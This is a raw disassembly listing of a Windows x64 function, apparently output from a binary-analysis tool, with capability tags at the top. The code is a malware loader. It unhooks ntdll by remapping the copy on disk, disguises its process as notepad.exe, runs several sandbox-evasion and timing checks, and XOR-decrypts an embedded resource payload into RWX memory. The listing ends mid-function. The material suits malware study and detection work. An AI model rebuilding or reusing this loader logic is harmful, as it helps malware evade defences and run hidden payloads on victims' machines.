Function at 0x140001450
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Link many functions at runtime
Read file via mapping

Disassembly:
push rbp
push rbx
sub rsp, 0x3c8
lea rbp, [rsp + 0x80]
movups xmmword [rbp + 0x330], xmm6
mov dword [rbp + 0x360], ecx
mov qword [rbp + 0x368], rdx
call fcn.140002c70
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x2d0], rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x2c8], rax
mov dword [rbp + 0x32c], 0x2f8
mov dword [rbp + 0x328], 0x136
jmp 0x1400014e2
mov eax, dword [rbp + 0x32c]
cmp eax, dword [rbp + 0x328]
jle 0x1400014db
sub dword [rbp + 0x32c], 1
jmp 0x1400014e2
sub dword [rbp + 0x328], 1
cmp dword [rbp + 0x32c], 0
jg 0x1400014c4
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x2c0], rax
lea rax, str.psapi.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov rcx, rax
lea rax, str.GetModuleInformation
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x320], rax
cmp qword [rbp + 0x320], 0
jne 0x14000177c
mov ecx, 0x597c
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x2b8], rax
mov ecx, 0x597c
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x2b0], rax
mov ecx, 0x597c
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x2a8], rax
mov dword [rbp + 0x31c], 0
jmp 0x140001659
mov dword [rbp + 0x318], 0
jmp 0x140001645
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3e8
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x31c]
cdqe
imul rcx, rax, 0x14c
mov rax, qword [rbp + 0x2b8]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0x318]
cdqe
movss dword [rcx + rax*4], xmm0
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3e8
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x31c]
cdqe
imul rcx, rax, 0x14c
mov rax, qword [rbp + 0x2b0]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0x318]
cdqe
movss dword [rcx + rax*4], xmm0
add dword [rbp + 0x318], 1
cmp dword [rbp + 0x318], 0x52
jle 0x140001594
add dword [rbp + 0x31c], 1
cmp dword [rbp + 0x31c], 0x44
jle 0x140001585
mov dword [rbp + 0x31c], 0
jmp 0x140001712
mov dword [rbp + 0x318], 0
jmp 0x1400016fe
mov eax, dword [rbp + 0x31c]
cdqe
imul rdx, rax, 0x14c
mov rax, qword [rbp + 0x2b8]
add rdx, rax
mov eax, dword [rbp + 0x318]
cdqe
movss xmm1, dword [rdx + rax*4]
mov eax, dword [rbp + 0x31c]
cdqe
imul rdx, rax, 0x14c
mov rax, qword [rbp + 0x2b0]
add rdx, rax
mov eax, dword [rbp + 0x318]
cdqe
movss xmm0, dword [rdx + rax*4]
mov eax, dword [rbp + 0x31c]
cdqe
imul rdx, rax, 0x14c
mov rax, qword [rbp + 0x2a8]
add rdx, rax
mulss xmm0, xmm1
mov eax, dword [rbp + 0x318]
cdqe
movss dword [rdx + rax*4], xmm0
add dword [rbp + 0x318], 1
cmp dword [rbp + 0x318], 0x52
jle 0x140001681
add dword [rbp + 0x31c], 1
cmp dword [rbp + 0x31c], 0x44
jle 0x140001675
mov rax, qword [rbp + 0x2b8]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x2b0]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x2a8]
mov rcx, rax
call sub.msvcrt.dll_free
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov rcx, rax
lea rax, str.GetModuleInformation
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x320], rax
cmp qword [rbp + 0x320], 0
je 0x140001a0a
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rdx, [rbp + 0xd0]
mov rax, qword [rbp + 0x2c0]
mov r10, qword [rbp + 0x320]
mov r9d, 0x18
mov r8, rdx
mov rdx, rax
call r10
mov rax, qword [rbp + 0xd0]
mov qword [rbp + 0x2a0], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 3
mov r9d, 0
mov r8d, 1
mov edx, 0x80000000
lea rax, str.c:windows_system32_ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileA]
call rax
mov qword [rbp + 0x298], rax
mov rax, qword [rbp + 0x298]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0x1000002
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileMappingA]
call rax
mov qword [rbp + 0x290], rax
mov rax, qword [rbp + 0x290]
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 4
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_MapViewOfFile]
call rax
mov qword [rbp + 0x288], rax
mov rax, qword [rbp + 0x2a0]
mov qword [rbp + 0x280], rax
mov rax, qword [rbp + 0x280]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x2a0]
add rax, rdx
mov qword [rbp + 0x278], rax
mov word [rbp + 0x316], 0
jmp 0x1400019f2
mov rax, qword [rbp + 0x278]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp + 0x278]
lea rcx, [rdx + rax]
movzx edx, word [rbp + 0x316]
mov rax, rdx
shl rax, 2
add rax, rdx
shl rax, 3
add rax, rcx
add rax, 0x18
mov qword [rbp + 0x270], rax
mov rax, qword [rbp + 0x270]
lea rdx, str..text
mov rcx, rax
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x1400019e1
mov dword [rbp + 0x98], 0
mov rax, qword [rbp + 0x270]
mov eax, dword [rax + 8]
mov edx, eax
mov rax, qword [rbp + 0x270]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x2a0]
add rax, rcx
mov rcx, rax
lea rax, [rbp + 0x98]
mov r9, rax
mov r8d, 0x40
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x270]
mov eax, dword [rax + 8]
mov r8d, eax
mov rax, qword [rbp + 0x270]
mov eax, dword [rax + 0xc]
mov edx, eax
mov rax, qword [rbp + 0x288]
add rax, rdx
mov rdx, rax
mov rax, qword [rbp + 0x270]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x2a0]
add rax, rcx
mov rcx, rax
call sub.msvcrt.dll_memcpy
mov edx, dword [rbp + 0x98]
mov rax, qword [rbp + 0x270]
mov eax, dword [rax + 8]
mov r10d, eax
mov rax, qword [rbp + 0x270]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x2a0]
add rax, rcx
mov rcx, rax
lea rax, [rbp + 0x98]
mov r9, rax
mov r8d, edx
mov rdx, r10
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
movzx eax, word [rbp + 0x316]
add eax, 1
mov word [rbp + 0x316], ax
mov rax, qword [rbp + 0x278]
movzx eax, word [rax + 6]
cmp word [rbp + 0x316], ax
jb 0x1400018b6
mov qword [rbp + 0x308], 0
mov dword [rbp + 0x310], 0x6a
jmp 0x140001a37
mov eax, dword [rbp + 0x310]
cdqe
add qword [rbp + 0x308], rax
sub dword [rbp + 0x310], 1
cmp dword [rbp + 0x310], 0
jg 0x140001a21
mov dword [rbp + 0x26c], 0
mov ecx, 0x780
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x260], rax
mov dword [rbp + 0x304], 0
jmp 0x140001b4b
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
sar edx, 7
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
mov dword [rbp + 0x26c], edx
mov edx, dword [rbp + 0x26c]
imul edx, edx, 0x190
sub eax, edx
mov dword [rbp + 0x26c], eax
cmp dword [rbp + 0x26c], 0x168
jle 0x140001ad1
mov eax, dword [rbp + 0x304]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x260]
add rax, rdx
pxor xmm0, xmm0
movss dword [rax], xmm0
jmp 0x140001b44
cmp dword [rbp + 0x26c], 0
jns 0x140001afe
mov eax, dword [rbp + 0x304]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x260]
add rax, rdx
pxor xmm0, xmm0
movss dword [rax], xmm0
jmp 0x140001b44
pxor xmm1, xmm1
cvtsi2sd xmm1, dword [rbp + 0x26c]
movsd xmm0, qword [0x140006170]
mulsd xmm0, xmm1
movsd xmm1, qword [0x140006178]
divsd xmm0, xmm1
mov eax, dword [rbp + 0x304]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x260]
add rax, rdx
cvtsd2ss xmm0, xmm0
movss dword [rax], xmm0
add dword [rbp + 0x304], 1
cmp dword [rbp + 0x304], 0x1df
jle 0x140001a6a
mov rax, qword [rbp + 0x260]
mov rcx, rax
call sub.msvcrt.dll_free
mov dword [rbp + 0x9c], 0
mov rax, qword [rbp + 0x2d0]
lea rdx, str.NtQueryInformationProcess
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x258], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rdx, [rbp + 0xa0]
lea rax, [rbp + 0x9c]
mov qword [rsp + 0x20], rax
mov rax, qword [rbp + 0x258]
mov r9d, 0x30
mov r8, rdx
mov edx, 0
call rax
mov rax, qword [rbp + 0xa8]
add rax, 0x3c
mov qword [rbp + 0x250], rax
mov rax, qword [rbp + 0x250]
lea rdx, str.C:_windows_system32_notepad.exe
mov qword [rax + 0x78], rdx
mov dword [rbp + 0x300], 0xffffffff
mov ecx, 0x1998
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x248], rax
mov ecx, 0x1998
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x240], rax
add dword [rbp + 0x300], 1
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3e8
sub eax, ecx
mov edx, eax
pxor xmm6, xmm6
cvtsi2sd xmm6, edx
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0xffffffffea0ea0eb
shr rdx, 0x20
add edx, eax
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x46
sub eax, ecx
mov edx, eax
pxor xmm1, xmm1
cvtsi2sd xmm1, edx
mov eax, dword [rbp + 0x300]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x248]
add rax, rdx
divsd xmm6, xmm1
movupd xmm0, xmm6
movsd qword [rax], xmm0
mov eax, dword [rbp + 0x300]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x248]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x300]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x240]
lea rbx, [rcx + rdx]
movq xmm0, rax
call fcn.140003c60
movq rax, xmm0
mov qword [rbx], rax
cmp dword [rbp + 0x300], 0x331
jle 0x140001c1b
mov rax, qword [rbp + 0x250]
lea rdx, str.C:_windows_system32_notepad.exe
mov qword [rax + 0x68], rdx
mov qword [rbp + 0x238], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.VirtualAllocExNuma
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x230], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x40
mov rax, qword [rbp + 0x230]
mov r9d, 0x3000
mov r8d, 0x3f8
mov edx, 0
call rax
mov qword [rbp + 0x238], rax
cmp qword [rbp + 0x238], 0
je 0x140002ba1
mov r9d, 0
mov r8d, 0
mov edx, 1
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateEventA]
call rax
mov qword [rbp + 0x228], rax
cmp qword [rbp + 0x228], 0
je 0x140002ba1
mov rax, qword [rbp + 0x228]
mov edx, 0x5ab
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
mov dword [rbp + 0x224], eax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.OpenProcess
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x218], rax
mov rax, qword [rbp + 0x218]
mov r8d, 4
mov edx, 0
mov ecx, 0x1fffff
call rax
mov qword [rbp + 0x210], rax
cmp qword [rbp + 0x210], 0
jne 0x140002ba1
mov dword [rbp + 0x20c], 0x292
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x200], rax
mov rax, qword [rbp + 0x200]
call rax
mov dword [rbp + 0x1fc], eax
mov eax, dword [rbp + 0x20c]
mov edx, 0
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_SleepEx]
call rax
mov rax, qword [rbp + 0x200]
call rax
mov dword [rbp + 0x1f8], eax
mov eax, dword [rbp + 0x1f8]
sub eax, dword [rbp + 0x1fc]
cmp eax, 0x260
jbe 0x140002ba1
lea rax, str.bttdzvmdydxiyfv.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x1f0], rax
cmp qword [rbp + 0x1f0], 0
jne 0x140002ba1
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x1e8], rax
mov rax, qword [rbp + 0x1e8]
call rax
mov dword [rbp + 0x1e4], eax
mov ecx, 0x341
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov rax, qword [rbp + 0x1e8]
call rax
mov dword [rbp + 0x1e0], eax
mov eax, dword [rbp + 0x1e0]
sub eax, dword [rbp + 0x1e4]
cmp eax, 0x30f
jbe 0x140002ba1
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x1d8], rax
mov rax, qword [rbp + 0x1d8]
call rax
mov dword [rbp + 0x1d4], eax
mov ecx, 0x324
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov rax, qword [rbp + 0x1d8]
call rax
mov dword [rbp + 0x1d0], eax
mov eax, dword [rbp + 0x1d0]
sub eax, dword [rbp + 0x1d4]
cmp eax, 0x2f2
jbe 0x140002ba1
mov ecx, 0x66d
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
cmp eax, 0x66d
jne 0x140002ba1
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_SetErrorMode]
call rax
mov qword [rbp + 0x1c8], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.VirtualAllocExNuma
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x1c0], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x40
mov rax, qword [rbp + 0x1c0]
mov r9d, 0x3000
mov r8d, 0x275
mov edx, 0
call rax
mov qword [rbp + 0x1c8], rax
cmp qword [rbp + 0x1c8], 0
je 0x140002ba1
mov qword [rbp + 0x1b8], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.VirtualAlloc
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x1b0], rax
mov rax, qword [rbp + 0x1b0]
mov r9d, 0x40
mov r8d, 0x3000
mov edx, 0x4483e80
mov ecx, 0
call rax
mov qword [rbp + 0x1b8], rax
cmp qword [rbp + 0x1b8], 0
je 0x140002ba1
mov rax, qword [rbp + 0x1b8]
mov edx, 0x4483e80
mov rcx, rax
call fcn.140004140
mov rax, qword [rbp + 0x1b8]
mov r8d, 0x8000
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualFree]
call rax
mov rax, qword [rbp + 0x2c8]
lea rdx, str.FindResource
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x1a8], rax
lea rax, str.NSGZS
movzx eax, ax
mov rdx, rax
mov rax, qword [rbp + 0x1a8]
lea r8, str.NSGZS
mov ecx, 0
call rax
mov qword [rbp + 0x1a0], rax
mov rax, qword [rbp + 0x2c8]
lea rdx, str.LoadResource
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x198], rax
mov rax, qword [rbp + 0x1a0]
mov r8, qword [rbp + 0x198]
mov rdx, rax
mov ecx, 0
call r8
mov qword [rbp + 0x190], rax
mov rax, qword [rbp + 0x2c8]
lea rdx, str.SizeofResource
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x188], rax
mov rax, qword [rbp + 0x2c8]
lea rdx, str.HeapCreate
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x180], rax
mov rax, qword [rbp + 0x2c8]
lea rdx, str.HeapAlloc
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x178], rax
mov rax, qword [rbp + 0x1a0]
mov r8, qword [rbp + 0x188]
mov rdx, rax
mov ecx, 0
call r8
mov rdx, rax
mov rax, qword [rbp + 0x180]
mov r8d, 0
mov ecx, 0x40000
call rax
mov qword [rbp + 0x170], rax
mov rax, qword [rbp + 0x1a0]
mov r8, qword [rbp + 0x188]
mov rdx, rax
mov ecx, 0
call r8
mov rdx, rax
mov rax, qword [rbp + 0x170]
mov r9, qword [rbp + 0x178]
mov r8, rdx
mov edx, 8
mov rcx, rax
call r9
mov qword [rbp + 0x168], rax
mov dword [rbp + 0x2fc], 0xffffffff
mov ecx, 0x1c08
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x160], rax
add dword [rbp + 0x2fc], 1
call sub.msvcrt.dll_rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x140006180]
divsd xmm0, xmm1
addsd xmm0, xmm0
mov eax, dword [rbp + 0x2fc]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x160]
add rax, rdx
movsd xmm1, qword [0x140006188]
subsd xmm0, xmm1
movsd qword [rax], xmm0
mov eax, dword [rbp + 0x2fc]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x160]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x2fc]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x160]
lea rbx, [rcx + rdx]
movq xmm0, rax
call sub.msvcrt.dll_asin
movq rax, xmm0
mov qword [rbx], rax
cmp dword [rbp + 0x2fc], 0x37f
jle 0x1400022b6
mov rax, qword [rbp + 0x2d0]
lea rdx, str.RtlMoveMemory
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x158], rax
mov rax, qword [rbp + 0x1a0]
mov r8, qword [rbp + 0x188]
mov rdx, rax
mov ecx, 0
call r8
mov rcx, rax
mov rdx, qword [rbp + 0x190]
mov rax, qword [rbp + 0x168]
mov r9, qword [rbp + 0x158]
mov r8, rcx
mov rcx, rax
call r9
mov dword [rbp + 0x154], 0
mov ecx, 0x33a8
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x148], rax
mov ecx, 0x33a8
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x140], rax
mov ecx, 0x33a8
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x138], rax
mov dword [rbp + 0x2f4], 0
jmp 0x1400024d4
mov dword [rbp + 0x2f0], 0
jmp 0x1400024c0
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
sar edx, 4
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x32
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x2f4]
cdqe
imul rcx, rax, 0xe4
mov rax, qword [rbp + 0x148]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0x2f0]
cdqe
movss dword [rcx + rax*4], xmm0
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
sar edx, 4
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x32
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x2f4]
cdqe
imul rcx, rax, 0xe4
mov rax, qword [rbp + 0x140]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0x2f0]
cdqe
movss dword [rcx + rax*4], xmm0
add dword [rbp + 0x2f0], 1
cmp dword [rbp + 0x2f0], 0x38
jle 0x140002415
add dword [rbp + 0x2f4], 1
cmp dword [rbp + 0x2f4], 0x39
jle 0x140002406
mov dword [rbp + 0x2f4], 0
jmp 0x14000258d
mov dword [rbp + 0x2f0], 0
jmp 0x140002579
mov eax, dword [rbp + 0x2f4]
cdqe
imul rdx, rax, 0xe4
mov rax, qword [rbp + 0x148]
add rdx, rax
mov eax, dword [rbp + 0x2f0]
cdqe
movss xmm0, dword [rdx + rax*4]
mov eax, dword [rbp + 0x2f4]
cdqe
imul rdx, rax, 0xe4
mov rax, qword [rbp + 0x140]
add rdx, rax
mov eax, dword [rbp + 0x2f0]
cdqe
movss xmm1, dword [rdx + rax*4]
mov eax, dword [rbp + 0x2f4]
cdqe
imul rdx, rax, 0xe4
mov rax, qword [rbp + 0x138]
add rdx, rax
divss xmm0, xmm1
mov eax, dword [rbp + 0x2f0]
cdqe
movss dword [rdx + rax*4], xmm0
add dword [rbp + 0x2f0], 1
cmp dword [rbp + 0x2f0], 0x38
jle 0x1400024fc
add dword [rbp + 0x2f4], 1
cmp dword [rbp + 0x2f4], 0x39
jle 0x1400024f0
mov rax, qword [rbp + 0x148]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x140]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x138]
mov rcx, rax
call sub.msvcrt.dll_free
mov dword [rbp + 0x2ec], 0
mov dword [rbp + 0x2e8], 0
movabs rax, 0x5867f8e2f2d4310e
movabs rdx, 0xf7488f82b2dc8169
mov qword [rbp], rax
mov qword [rbp + 8], rdx
movabs rax, 0xa059a30200704b9c
movabs rdx, 0xe7643a68fa1eb6bd
mov qword [rbp + 0x10], rax
mov qword [rbp + 0x18], rdx
movabs rax, 0x9d003b9b55f9f33f
movabs rdx, 0x8bec492b2344bffd
mov qword [rbp + 0x20], rax
mov qword [rbp + 0x28], rdx
movabs rax, 0x472b8bec492b2344
movabs rdx, 0x8fc671f075afc6
mov qword [rbp + 0x2a], rax
mov qword [rbp + 0x32], rdx
movabs rax, 0x23a24d1f43aeabe0
movabs rdx, 0xe15eeb2be7b05caf
mov qword [rbp + 0x40], rax
mov qword [rbp + 0x48], rdx
movabs rax, 0xcf3ee6c5475a3c39
movabs rdx, 0xf3e915de82e5721f
mov qword [rbp + 0x50], rax
mov qword [rbp + 0x58], rdx
movabs rax, 0x79cf3b4f9f8bdd1
movabs rdx, 0x3edf0ebf379109ca
mov qword [rbp + 0x60], rax
mov qword [rbp + 0x68], rdx
movabs rax, 0xe24c25428f40e097
movabs rdx, 0x636714087edf7196
mov qword [rbp + 0x70], rax
mov qword [rbp + 0x78], rdx
movabs rax, 0xa714909a0edea37c
movabs rdx, 0x391b06f3738cc2f5
mov qword [rbp + 0x80], rax
mov qword [rbp + 0x88], rdx
movabs rax, 0xba65f867391b06
mov qword [rbp + 0x8d], rax
mov dword [rbp + 0x2f8], 0
jmp 0x14000276d
cmp dword [rbp + 0x2ec], 0x53
jne 0x140002737
mov eax, dword [rbp + 0x2f8]
cdqe
movzx edx, byte [rbp + rax]
mov eax, dword [rbp + 0x2ec]
cdqe
movzx eax, byte [rbp + rax + 0x40]
xor edx, eax
mov eax, dword [rbp + 0x2f8]
cdqe
mov byte [rbp + rax - 0x40], dl
mov dword [rbp + 0x2ec], 0
jmp 0x140002766
mov eax, dword [rbp + 0x2f8]
cdqe
movzx edx, byte [rbp + rax]
mov eax, dword [rbp + 0x2ec]
cdqe
movzx eax, byte [rbp + rax + 0x40]
xor edx, eax
mov eax, dword [rbp + 0x2f8]
cdqe
mov byte [rbp + rax - 0x40], dl
add dword [rbp + 0x2ec], 1
add dword [rbp + 0x2f8], 1
mov eax, dword [rbp + 0x2f8]
cmp eax, 0x38
jbe 0x1400026fa
mov dword [rbp + 0x2f8], 0
jmp 0x140002aaf
cmp dword [rbp + 0x2e8], 0x38
jne 0x1400027dd
mov eax, dword [rbp + 0x2f8]
movsxd rdx, eax
mov rax, qword [rbp + 0x168]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x2e8]
cdqe
movzx ecx, byte [rbp + rax - 0x40]
mov eax, dword [rbp + 0x2f8]
movsxd rdx, eax
mov rax, qword [rbp + 0x168]
add rax, rdx
mov edx, r8d
xor edx, ecx
mov byte [rax], dl
mov dword [rbp + 0x2e8], 0
jmp 0x140002aa8
mov eax, dword [rbp + 0x2f8]
movsxd rdx, eax
mov rax, qword [rbp + 0x168]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x2e8]
cdqe
movzx ecx, byte [rbp + rax - 0x40]
mov eax, dword [rbp + 0x2f8]
movsxd rdx, eax
mov rax, qword [rbp + 0x168]
add rax, rdx
mov edx, r8d
xor edx, ecx
mov byte [rax], dl
mov ecx, 0xc98
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x110], rax
mov ecx, 0xc98
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x108], rax
mov ecx, 0xc98
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x100], rax
mov ecx, 0xc98
call sub.msvcrt.dll_malloc
mov qword [rbp + 0xf8], rax
mov dword [rbp + 0x2e0], 0x325
mov dword [rbp + 0x2e4], 0
jmp 0x140002984
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x2e4]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x110]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x1b4e81b5
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x12c
sub eax, ecx
mov edx, eax
mov dword [r8], edx
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x2e4]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x108]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x1b4e81b5
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x12c
sub eax, ecx
mov edx, eax
mov dword [r8], edx
mov eax, dword [rbp + 0x2e0]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x110]
add rax, rdx
mov edx, dword [rbp + 0x2e4]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x100]
